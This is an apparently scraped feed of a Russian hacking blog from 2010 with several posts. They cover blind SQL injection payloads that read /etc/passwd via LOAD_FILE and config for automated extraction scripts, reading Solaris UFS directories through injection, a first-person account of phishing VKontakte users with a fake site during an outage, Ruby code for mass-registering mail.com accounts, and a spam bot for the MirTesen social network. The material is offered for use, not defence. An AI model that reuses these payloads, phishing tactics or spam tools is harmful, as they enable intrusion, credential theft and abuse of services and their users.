		<pubDate>Thu, 02 Sep 2010 19:47:00 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[ufs]]></category>
		<category><![CDATA[чтение директории]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=470</guid>
		<description><![CDATA[Недавно возникла у меня неординарная ситуация. Сайт располагался на Solaris 9 и была там слепая Sql-inj (под которую собственно и был написана предыдущая статья). Так как там была MySQL 3 ни о каких UNION и подзапросах речь не шла. Шелл тоже не заливался. Единственное, что я мог так это читать файл через LOAD_FILE. Однако, была [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/solaris-logo.jpg"><img class="size-full wp-image-471 alignleft" style="margin-top: 3px; margin-bottom: 3px;" title="solaris-logo" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/solaris-logo.jpg" alt="" width="216" height="106" /></a>Недавно возникла у меня неординарная ситуация. Сайт располагался на Solaris 9 и была там слепая Sql-inj (под которую собственно и был написана предыдущая статья). Так как там была MySQL 3 ни о каких UNION и подзапросах речь не шла. Шелл тоже не заливался. Единственное, что я мог так это читать файл через LOAD_FILE.<span id="more-470"></span></p>
<p>Однако, была одна надежда &#8211; нужно было прочитать один скрипт, который располагался в поддомене основного, но путь к нему я не знал. Честно говоря, я на солярном сервере вообще плохо ориентировался.</p>
<p>Решение мне подсказал rat-energizer с <a rel="nofollow" href="http://rdot.org/forum" target="_blank">rdot</a>&#8216;а.</p>
<p><span style="font-size: 1.4em;">решение</span></p>
<p>Читаем /etc/vfstab и видим там что-то типа</p>
<p><code>#device		device		mount	FS	fsck	mount	mount<br />
#to mount	to fsck		point	type	pass	at boot	options<br />
#<br />
fd		-		/dev/fd	fd	-	no	-<br />
/proc		-		/proc	proc	-	no	-<br />
/dev/md/dsk/d2	-		-	swap	-	no	-<br />
/dev/md/dsk/drk 	/dev/md/rdsk/d1	/	ufs	1	no	logging<br />
/dev/md/dsk/dw 	/dev/md/rdsk/d3	/www	ufs	2	yes	logging<br />
/dev/md/dsk/dat 	/dev/md/rdsk/d4	/data	ufs	2	yes	logging<br />
/dev/md/dsk/da	        /dev/md/rdsk/d5	/app	ufs	2	yes	logging<br />
swap		-		/tmp	tmpfs	-	yes--</code></p>
<p>Внимательно смотрим и если видим там UFS, то дело в шляпе.</p>
<p>Документации по этой теме я не нашел. Короче суть дела в том, что файловая система UFS, по крайней мере, в Solaris предоставляет возможность читать директории как файлы. Программно открыв директорию можно получить список содержащихся там файлов.</p>
<p>Эта директория-файл читается как бинарный файл, поэтому скрипт не должен останавливатся когда при чтении дойдет до символа с ASCII больше 127 или равному 0.</p>
<p>Для примера, если прочитать /etc, то в выходном файле будет что-то типа</p>
<p><code>...TIMEZONEautopushcfgadmclricroncron.ddcopydefaultdfsdhcpfffmthardformatfsfsck<br />
и так далее...<br />
</code><br />
Если вы будете использовать эту возможность, для считывания файла через MySQL через мой скрипт в прошлой статье, то там следует поменять условия проверки окончания файла, если ASCII-код символа равен 0 или больше 127.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>автоматизация слива через blind sql-inj</title>
		<link>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/</link>
		<comments>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 20:52:43 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[blind sql-inj]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL-inj]]></category>
		<category><![CDATA[автоматизация]]></category>
		<category><![CDATA[слепая sql инъекция]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=450</guid>
		<description><![CDATA[Выкладываю пару скриптов автоматизации слива данных из слепой скули. Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png"><img class="alignleft size-full wp-image-451" style="margin-bottom: 2px; margin-right: 10px;" title="sql_inject" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png" alt="sql-inj" width="316" height="136" /></a>Выкладываю пару скриптов автоматизации слива данных из слепой скули.</p>
<p>Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы можно самому догадатся или же пробежатся по ним первым скриптом.<span id="more-450"></span></p>
<p>Аналогов, наверное, существует немерянно, но несмотря на это, я думаю, что мои скрипты обладают отличным преймуществом &#8211; они очень гибкие т.к. примитивны и в них очень легко разобратся.</p>
<p>Что такое SQL-inj, в том числе и слепая скуля, как с ними быть и многое другое, на мой взгляд лучше всего описано в этом <a rel="nofollow" href="https://rdot.org/forum/showthread.php?t=124">FAQ на rdot&#8217;е</a>.</p>
<div style="font-size: 1.7em;">однопоточный точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8mdl94" target="_blank">скачать скрипт</a></p>
<div style="font-size: 1.5em;">принцип работы</div>
<p>Как вы понимаете, если у вас слепая инъекция, то никаких прямых выводов на страницу не может быть. Вы задаете какой-либо предикат, а проще говоря, условие, например</p>
<p><code>128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>и в соответсвии с этим условием у вас отобразится, например, либо новость под номером 10, либо 9. Приведу пример полного запроса:</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>ну или так:</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --<br />
</code></p>
<p>В первом примере, если 128 больше ASCII-кода первого символа файла /etc/passwd, то выведется страница с новостью 10, в противном случае, выведется 9. Второй случай практически идентичен первому, заисключением того, что если не больше ASCII-кода, то выведется неизвестно какая страница (для каждого сайта индивидуально, надо просто попробывать запрос http://site.com/?id= ), скорее всего это будет редирект на главную.</p>
<p>Вообще существует достаточно много всяких способов раксрутки слепых скулей, не только по странице, которую мы получаем на выводе. Короче читаем FAQ, ссылка на которую указана выше.</p>
<p>Так вот скрипт, берет допустим первый символ и формирует такой запрос:</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code></p>
<p>если условие верно т.е. открылась страница с новостью 10, значит 128&gt;=ASCII&gt;=0, тогда скрипт делает запрос</p>
<p><code>64&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>32&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p>тогда следующий запрос, будет отталкиватся от кода 48 (48=32+32/2)</p>
<p><code>48&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>тогда вычитаем 8 (на прошлом ходе прибавляли 16, на каждом шаге делем на 2)</p>
<p><code>40&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>44&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>42&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>41&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>42=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>таким образом мы за 9 шагов однозначно определили символ.</p>
<p>Далее скрипт берет следующий символ и начинает все заново.</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>Я не читал, все статьи по blind SQL-inj, поэтому если кто-то придумал такой перебор раньше меня, а так наверняка оно и есть, не обижайтесь, что здесь нет ссылки на вышу статью и укажите ее в комментариях.</p>
<p>Все разгаданные символы скрипт записывает в файл и выводит на экран консоли.</p>
<div style="font-size: 1.5em;">конфигурация</div>
<p>Она располагается в начале скрипте и представляет из себя инициализацию глобальных переменных.</p>
<p><code style="font-size: 0.8em;">#config<br />
$request="/article.php?id=44+AND+##NUM####SIGN##ASCII%28MID%28##REPLACE##,##I##,1%29%29"<br />
$outfile="outfile"<br />
$priznak="eta_kartinka_est_tolko_v_statie_s_nomerom_44.jpg"<br />
$func="LOAD_FILE%28"+"0x2f6574632f706173737764"+"%29" #/etc/passwd<br />
$site="www.site.com"<br />
$start=1<br />
#config<br />
</code><br />
<strong>$request</strong> &#8211; сам запрос, с метками:</p>
<ul>
<li>##NUM## &#8211; число с которым сравнивается ASCII-код</li>
<li>##SIGN## &#8211; место, куда будет подставляться знак (&gt;,=)</li>
<li>##REPLACE## &#8211; сама функция, задающаяся в переменной $func</li>
<li>##I## &#8211; номер символа</li>
</ul>
<p>Задаем эту переменную в соответствии с нашим запросом, при этом правильно расставляем метки.</p>
<p><strong>$outfile </strong>- файл куда будет все выводится.<br />
<strong>$priznak</strong> &#8211; часть страницы, отличающая страницу с верным выводом от неверной. Т.е. при таком виде запроса</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --</code></p>
<p>или</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>эта часть текста HTML должна присутствовать только в новости с индексом 10.</p>
<p><strong>$func</strong> &#8211; функция, которую мы вызываем. Это может быть LOAD_FILE(), VERSION(), USER() итд, комбинации из них, короче все на что хватит фантазии.</p>
<p><strong>$site</strong> &#8211; сайт, где располагается SQL-inj.</p>
<p><strong>$start</strong> &#8211; номер символа, с которого начинать.</p>
<div style="font-size: 1.7em;">многопоточный приблизительно точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8ouu84" target="_blank">скачать скрипт</a></p>
<p>Принцип работы нечем не отличается, заисключением того, что скрипт вычисляет не последовательно символ за символом, а сразу паралельно несколько символов, количество которых равно количеству потоков заданных в конфигурации.</p>
<p>Конфигурация, такая же, добавился лишь один параметр <strong>$th_count</strong>. Он определяет количество потоков.<strong></strong></p>
<p>Чем же плох многопоточный вариант? При стабильном соединении с интернетом не чем т.е. он вычислит все символы как надо и быстро. Если же соединение часто обрывается, как например на 3G-модемах, то некоторые потоки будут умерать оставляя свой символ недовычисленным. Для примера, при нестабильном соединении (скорость скачет от 1КБ/с до 300КБ/с, соединение обрывается каждые 3-5 минут) из 10 символов 1 будет недовычислен.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>авария на Ленэнерго или конверт с мертвого контакта лучше живых двух</title>
		<link>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/</link>
		<comments>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 21:32:31 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[fake]]></category>
		<category><![CDATA[анархия]]></category>
		<category><![CDATA[бутылки с зажигательной смесью]]></category>
		<category><![CDATA[вконтакте]]></category>
		<category><![CDATA[напалм]]></category>
		<category><![CDATA[паника]]></category>
		<category><![CDATA[траф с соц.сетей]]></category>
		<category><![CDATA[фейк]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=301</guid>
		<description><![CDATA[Я думаю всем прекрасно известно, что сегодня около 5-ти часов вечера Вконтакте.ру упал и долго не вставал. В мире воцарила паника и анархия: марадеры грабили магазины, женщины и дети прятались в бомбоубежищах, бунтари переворачивали автомобили и разбрасывались бутылками с зажигательной смесью, короче как обычно. Я по началу просто обрадовался этому, несомненно положительному событию. И только [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/vkontakte-ne-dostupen.jpg"><img class="aligncenter size-full wp-image-302" title="vkontakte-ne-dostupen" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/vkontakte-ne-dostupen.jpg" alt="" width="454" height="79" /></a>Я думаю всем прекрасно известно, что сегодня около 5-ти часов вечера Вконтакте.ру упал и долго не вставал. В мире воцарила паника и анархия: марадеры грабили магазины, женщины и дети прятались в бомбоубежищах, бунтари переворачивали автомобили и разбрасывались бутылками с зажигательной смесью, короче как обычно.<span id="more-301"></span></p>
<p style="text-align: left;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/11742-163.jpg"><img class="aligncenter size-full wp-image-311" title="11742-16" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/11742-163.jpg" alt="" width="450" height="289" /></a></p>
<p>Я по началу просто обрадовался этому, несомненно положительному событию. И только через несколько десятков минут понял, что на этом можно отлично поднять траф. Многие этим уже активно занимались, например те, кто первый бросил утку о том, что все без исключения сервера Вконтакте.ру конфискованны МВД за распостранение порнушки,  нелицензионного софта и сливу в паблик какой-то госудраственной секретной лабуды. Многие на это активно велись.</p>
<p>Утку бросить я бы не смог т.к. не имею какого-нибудь достаточно популярного сайта или на худой конец твиттера. Поэтому я решил действовать по другому и вместо  поднятия себя ТИЦ&#8217;а, путем вставки всевозможных ссылок на мою утку в форумах, конференциях итд, принялся сливать трафик на фейк контакта, вот таким способом (см. рисунок).</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/otvetvk.png"><img class="alignleft size-medium wp-image-305" style="border: 1px solid black; margin: 5px 10px;" title="otvetvk" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/otvetvk-300x244.png" alt="" width="300" height="244" /></a>Иначе, говоря я писал где только можно, мол &#8221;  Вконтакте восстановил свою резервную копию и зайти на сайт можно по следующей ссылке&#8221;, &#8220;Вконтакту прикрыли домен и он переехал на этот адрес&#8221; и прочую ересь.</p>
<p>Модераторы регулярно терли мои темы, банили акки, но я не отступал т.к. выхлоп с таких сообщений был настолько шикарен, что количество подаренных мне акков за время паники превысило количество всех акков с фейка за последние две недели вместе взятых. Я уже начал подумывать, что мой фейк сам скоро упадет из-за столько активного посещения.</p>
<p>Когда Вконтакте воскрес многие люди, которые поняли что попались на фейк принялись менять пароли. Но далеко не все это поняли,  в общем, на данный момент у меня осталось чуть больше 80% аккаунтов.</p>
<p>В заключении могу сказать, что ни один пароль от аккаунтов я не поменял и никому ничего не продал, хотя мог бы. Не факт, конечно, что я не продам завтра&#8230;</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AOL сошел с ума или авторегер на mail.com</title>
		<link>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/</link>
		<comments>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 00:20:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[AOL]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[mail.com]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[авторегер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=230</guid>
		<description><![CDATA[Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла. В связи с этим событием, с которым может сравнится только финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg"><img class="size-full wp-image-231 alignleft" style="margin: 10px;" title="aol" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg" alt="" width="224" height="106" /></a>Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла.</p>
<p>В связи с этим событием, с которым может сравнится только  финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под эту штуку.<span id="more-230"></span></p>
<p>Сам скрипт авторега я не написал еще, да думаю и не надо, каждый и сам сможет переписать выложенный здесь код под свои нужды. А написал я класс или точнее сказать скрипт-библиотеку, естественно на Ruby, который содержит все необходимые методы для регистрации мыла, быть может заисключением проверки адреса на существование.</p>
<p><strong>Сам скрипт</strong></p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;net/https&#8217;</p>
<p>def str2pc(str)<br />
if !str then return &#8220;|ERR=#{str}|&#8221; end<br />
i=0<br />
pc=&#8221;<br />
while i&lt;str.size do<br />
pc+=&#8221;%#{str[i].to_s(16)}&#8221;.upcase<br />
i+=1<br />
end<br />
return pc<br />
end</p>
<p>class Acc<br />
attr_accessor :login,:pass,:domain<br />
def initialize(login,pass,domain)<br />
@login=login<br />
@pass=pass<br />
@domain=domain<br />
@http=Net::HTTP.new(&#8216;signup.mail.com&#8217;, 443)<br />
@http.use_ssl = true<br />
@path=&#8217;/UserInformationB.aspx&#8217;<br />
end</p>
<p>def get_headers(refer)<br />
return headers = {<br />
&#8216;Cookie&#8217; =&gt; @cookie,<br />
&#8216;Referer&#8217; =&gt; refer,<br />
&#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;,<br />
&#8216;User-Agent&#8217;=&gt; &#8216;Mozilla/5.0 Gecko/20090909 Windows NT 5.0/9&#8242;<br />
}<br />
end</p>
<p>def get_fst_cook<br />
begin<br />
resp, data = @http.get(@path, nil)<br />
@cookie = resp.response['set-cookie']<br />
@__VIEWSTATE=data.split(&#8220;__VIEWSTATE\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0]<br />
@__EVENTVALIDATION=data.split(&#8220;__EVENTVALIDATION\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0].gsub!(/([^a-zA-Z0-9])/){str2pc($1)}<br />
rescue<br />
return e<br />
end<br />
return 0<br />
end</p>
<p>def reg<br />
begin<br />
data = &#8220;__VIEWSTATE=#{@__VIEWSTATE}&amp;__EVENTVALIDATION=#{@__EVENTVALIDATION}&amp;hOptin=2&amp;hdCheckbox=1&amp;hdCampaignCheckbox=0&amp;RefenceCode=event01&amp;TrkID=0000&amp;FirstName=fdsjhfj&amp;LastName=jkvhfsdjk&amp;drpMonth=06&amp;drpDay=07&amp;drpYear=1975&amp;Username=#{@login}&amp;Domainname=#{@domain}&amp;Password=#{@pass}&amp;PasswordConfirm=#{pass}&amp;setpw=False&amp;SecQuestion=3&amp;SecAnswer=bhgfhgfhjfghgfhg&amp;Agreed=Create+Account&#8221;<br />
resp, data = @http.post(@path, data, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@cookie = @cookie+resp.response['set-cookie']<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8220;https://signup.mail.com/#{@path}&#8221;))<br />
rescue =&gt; e<br />
return e<br />
end<br />
return 0<br />
end<br />
end#class</p></blockquote>
<blockquote><p>#EXAMPLE<br />
accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;) #test@california.usa.com:example<br />
puts accs.get_fst_cook<br />
puts accs.reg</p></blockquote>
<p>Немного разберем скрипт.</p>
<p>Итак, он содержит 1 функцию &#8211; str2pc и класс Acc. str2pc преобразует символы в процент-код.</p>
<p><strong>Класс Acc</strong></p>
<ul>
<li>метод get_headers &#8211; возвращает заголовок пакета</li>
<li>метод get_fst_cook &#8211; получает необходимые кукисы и параметры для дальнейшей регистрации</li>
<li>метод reg &#8211; собственно сама регистрация</li>
</ul>
<p>Рассмотрим подробнее метод get_fst_cook. Он получает страницу регистрации /UserInformationB.aspx методом GET, а в месте с ней и первые кукисы. Далее парсит страницу на 2 необходимых параметра:</p>
<ol>
<li>__VIEWSTATE</li>
<li>__EVENTVALIDATION</li>
</ol>
<p>причем в __EVENTVALIDATION попутно заменяются все символы, неудовлетворяющие регулярному выражению ([^a-zA-Z0-9]) на процент-код.</p>
<p>Метод reg. Отправляет собственно сам POST-запрос регистрации, а затем 2 GET запроса на страницы /UserInformationB.aspx и той, на которую стоит переадресации в полученном пакете. Последний запрос не обязателен и регистрация пройдет и без него, однако он нужен если вы не хотите получить при входе на мыло страницу о успешной реги и прочей фигне.</p>
<p><strong>Как использовать класс</strong></p>
<p>Все очень просто и пример описан под комментарием #EXAMPLE:</p>
<ol>
<li>в конструкторе вводим логин, пароль и домен &#8211; accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;)</li>
<li>вызываем get_fst_cook, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.get_fst_cook</li>
<li>вызываем reg, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.reg</li>
</ol>
<p>Это все. Чтобы сделать из этой библиотеки полноценный авторегер особого ума не надо, и если же вы все-таки его сделаете незабудьте выложить в паблик.</p>
<p>Скачать скрипт в нормальном виде можно <a href="http://sharingmatrix.com/file/12315579/autoreg_mail.com.tar" target="_blank">здесь</a>.</p>
<p>P.S. хочу также сказать спасибо nonamez&#8217;у за его пост в его <a href="http://n0nz.info/" target="_blank">блоге</a>, где он поведал о плагине для FireFox Live HTTP Headers, без него было бы тяжко разбирать снифером HTTPS-пакеты. Статью можно прочитать <a href="http://n0nz.info/?p=36" target="_blank">здесь</a>.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>спамим МирТесен</title>
		<link>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/</link>
		<comments>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 01:26:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[мир тесен]]></category>
		<category><![CDATA[спамер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=126</guid>
		<description><![CDATA[Во-первых, хотелось бы отметить недобросовестность веб-мастеров и верстальщиков этой СС, так например, если заходить на нее через линуксовую мозиллу, то заглавная страница предоставляет не совсем дружественный интерфейс: Закончим со стебом. Сегодня я покажу вам спамер по этой СС. Написан он, как обычно для меня, на Ruby и как всегда разделен на файлы, каждый из которых [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://static.mtml.ru/images/firstpage_logo.gif" alt="" width="249" height="29" /></p>
<p>Во-первых, хотелось бы отметить недобросовестность веб-мастеров и верстальщиков этой СС, так например, если заходить на нее через линуксовую мозиллу, то заглавная страница предоставляет не совсем дружественный интерфейс:<span id="more-126"></span></p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/mt.png"><img class="aligncenter size-full wp-image-127" title="mt" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/mt.png" alt="" width="704" height="207" /></a>Закончим со стебом.</p>
<p>Сегодня я покажу вам спамер по этой СС. Написан он, как обычно для меня, на Ruby и как всегда разделен на файлы, каждый из которых выполняет определенную задачу:</p>
<ul>
<li>config.rb &#8211; конфигурация</li>
<li>lib.rb &#8211; скрипт-бибилиотека</li>
<li>get_list.rb &#8211; исполняемый скрипт, набирает список id по нашим критериям</li>
<li>main.rb &#8211; собственно сам спамер</li>
</ul>
<p>Весь код приводить здесь, я думаю не имеет смысла, поэтому кратко пройдемся по основным деталям.</p>
<p>Код lib.rb представляет из себя класс Account, который содержит методы, помимо конструктора:</p>
<ul>
<li>auth &#8211; авторизация, в случае успешной возвращает 0</li>
<li>send &#8211; отправить &#8216;что-то&#8217;, почему &#8216;что-то&#8217;, а не например сообщение станет понятно дальше</li>
<li>sendmsg &#8211; отправить сообщение</li>
<li>add2friend &#8211; пригласить в друзья</li>
<li>gets_people &#8211; получить список аккков по критериям</li>
</ul>
<p>А так же lib.rb содержит парочку ненужных функций: log &#8211; ведение логов и str2pc &#8211; перевод текста в процент-код.</p>
<p>Итак, почему же метод send отправляет &#8216;что-то&#8217;? Ответ прост, дело в том что в МТ отправить приглашение на дружбу и отправить сообщение это одно и тоже действие, отличаются там только некоторый параметры. И как следствие этого, методы sendmsg и add2friend используют метод send и лишь добавляют туда свойственные им параметры.</p>
<p>На этом более-менее соображающие программисты заканчивают читать статью, качают архив со скриптами и начинают творить новое малваре для МТ.</p>
<p>А для вас, уважаемые ленивцы, безфантазийные псевдокодеры, поисковые боты и прочая элита я опишу и все остальное.</p>
<p><strong>Скрипт get_list.rb</strong></p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>require &#8216;config.rb&#8217;<br />
require &#8216;lib.rb&#8217;</p>
<p>def get_next(type)<br />
if type==&#8217;random&#8217; then     return 2000+rand(10000000) end<br />
if type==&#8217;list&#8217; then     return $list_from+=1 end<br />
end</p>
<p>if $ptype!=&#8217;params&#8217;<br />
fl=File.new($idfile,&#8217;a')<br />
for i in 0..$count do fl.puts get_next($ptype) end<br />
fl.close<br />
else<br />
acc=Account.new($test_login,$test_pass)<br />
if acc.auth==0<br />
ids=acc.gets_people($params['interest'],$params['city'],</p>
<p>$params['sex'],$params['agf'],$params['agt'],$count)<br />
fl=File.new($idfile,&#8217;a')<br />
ids.each {|id| fl.puts id}<br />
fl.close<br />
else puts &#8220;Invalid login or password&#8221; end<br />
end</p></blockquote>
<p>И делает он следующее:</p>
<ol>
<li>считывает параметры из конфига</li>
<li>если собрать id надо  не по параметрам, то будет нещадно эксплуатировать функцию get_next</li>
<li>функция get_next определяет как собирать id: по порядку или в случайном порядке, и собственно при каждом ее запуске возвращает id</li>
<li>если же список по параметрам, то в вызывает метод Account::gets_people</li>
<li>весь собранный любым способом список id выгружается в файл, заданный в конфигурации</li>
</ol>
<p><strong>Скрипт main.rb</strong></p>
<p>Это сам наш спамер. Он работает тоже не сложно:</p>
<ol>
<li>считывает из файла, список акков с каких мы спамим</li>
<li>ну и в цикле:
<ol>
<li>считывает id, которая на очереде для спама</li>
<li>берет акк для спама и авторизуется им (для каждого акка авторизация проводится только 1 раз)</li>
<li>ну и сосбственно спамит, инвайтит или спамит и инвайтит</li>
<li>в случае ошибки запишет ее в лог</li>
</ol>
</li>
<li>и все</li>
</ol>
<p><strong>Конфигурация config.rb</strong></p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$accfile=&#8221;accfile.txt&#8221;<br />
$idfile=&#8221;ids.txt&#8221;<br />
$logfile=&#8221;log.txt&#8221;</p>
<p>$ptype=&#8221;list&#8221; #random/params/list &#8211; как искать</p>
<p>$wtype=&#8221;all&#8221; #add/msg/all</p>
<p>$test_login=&#8221;example@mail.ru&#8221;<br />
$test_pass=&#8221;passwd&#8221;</p>
<p>$params=Hash[<br />
'interest'=&gt;'секс', #интересы<br />
'city'=&gt;'москва',<br />
'sex'=&gt;'male', #male/female - пол<br />
'agf'=&gt;'10', #возраст от<br />
'agt'=&gt;'30' #возраст до<br />
]</p>
<p>$list_from=666</p>
<p>$count=1<br />
$msgtext=&#8221;текст сообщения&#8221;</p></blockquote>
<p>$accfile &#8211; файл с вашими акками вида login:pass</p>
<p>$idfile &#8211; список id</p>
<p>$logfile &#8211; логи</p>
